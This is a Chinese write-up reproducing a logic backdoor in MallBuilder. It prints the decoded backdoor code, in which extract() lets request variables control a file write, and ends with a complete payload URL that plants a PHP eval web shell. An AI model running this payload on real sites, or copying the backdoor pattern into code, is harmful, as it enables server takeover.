0x01 前言

这次复现的是 MallBuilder 的一个逻辑后门

0x02 过程

该漏洞位于 lib/smarty/plugins/function.php , 如果变量 $codelock_file 不为空则会调用 base64_decode 对字符串进行解码
image.png
解密后的主要代码如下

  1. <?php
  2. $codelock_active_key = "loveb2bbuilder";
  3. @extract($_REQUEST);
  4. error_reporting(E_ALL ^ E_NOTICE);
  5. if ($codelock_act >= 1) {
  6. } else {
  7. @set_time_limit(240);
  8. }
  9. if ($codelock_enc == "") {
  10. $codelock_enc = "codelock.php";
  11. } else {
  12. }
  13. if ($codelock_act >= 1) {
  14. $codelock_testsize = @filesize($codelock_filed / $codelock_enc);
  15. if ($codelock_testsize != $codelock_mastersize) {
  16. @chmod("$codelock_filed/$codelock_enc", 0777);
  17. if (@copy("$codelock_rfiled/$codelock_enc", "$codelock_filed/$codelock_enc")) {
  18. } else {
  19. $codelock_fp2 = @fopen("$codelock_filed/$codelock_enc", "wb");
  20. if ($codelock_fp2) {
  21. } else {
  22. @unlink($codelock_filed / $codelock_enc);
  23. $codelock_fp2 = @fopen("$codelock_filed/$codelock_enc", "wb");
  24. }
  25. if ($codelock_fp2) {
  26. @fwrite($codelock_fp2, $codelock_masterdata);
  27. @fclose($codelock_fp2);
  28. }
  29. }
  30. @chmod("$codelock_enc", 0777);
  31. }
  32. } else {
  33. }

第一眼看去,就是第二行的 @extract 函数。不恰当使用extract()函数通常会导致变量覆盖漏洞,这里正是将用户提交的REQUEST数据全部注册成变量,如果这行代码之后的变量代码未对其赋值,那么这些变量全都可以由用户来操控。
在第13行的if语句中,如果参数 $codelock_act 大于1就会进入该流程。我们需要进入第18行的else语句,所以参数 $codelock_rfiled 不需要设置。再来看看19行的代码,我们可以控制 $codelock_filed $codelock_enc参数。我们可以将参数 $codelock_filed设置为 . $codelock_enc设置为你需要保存的文件名。最后就是设置参数 $codelock_mastersize为任意值,还有就是写入的内容的参数 $codelock_fp2

下面我们来构造Payload
http://192.168.0.111/mall/lib/smarty/plugins/modifier.config.php?codelock_filed=.&codelock_mastersize=3&codelock_act=3&codelock_enc=test.php&codelock_masterdata=%3C?php%20@eval($_POST[X]);?%3E;?%3E)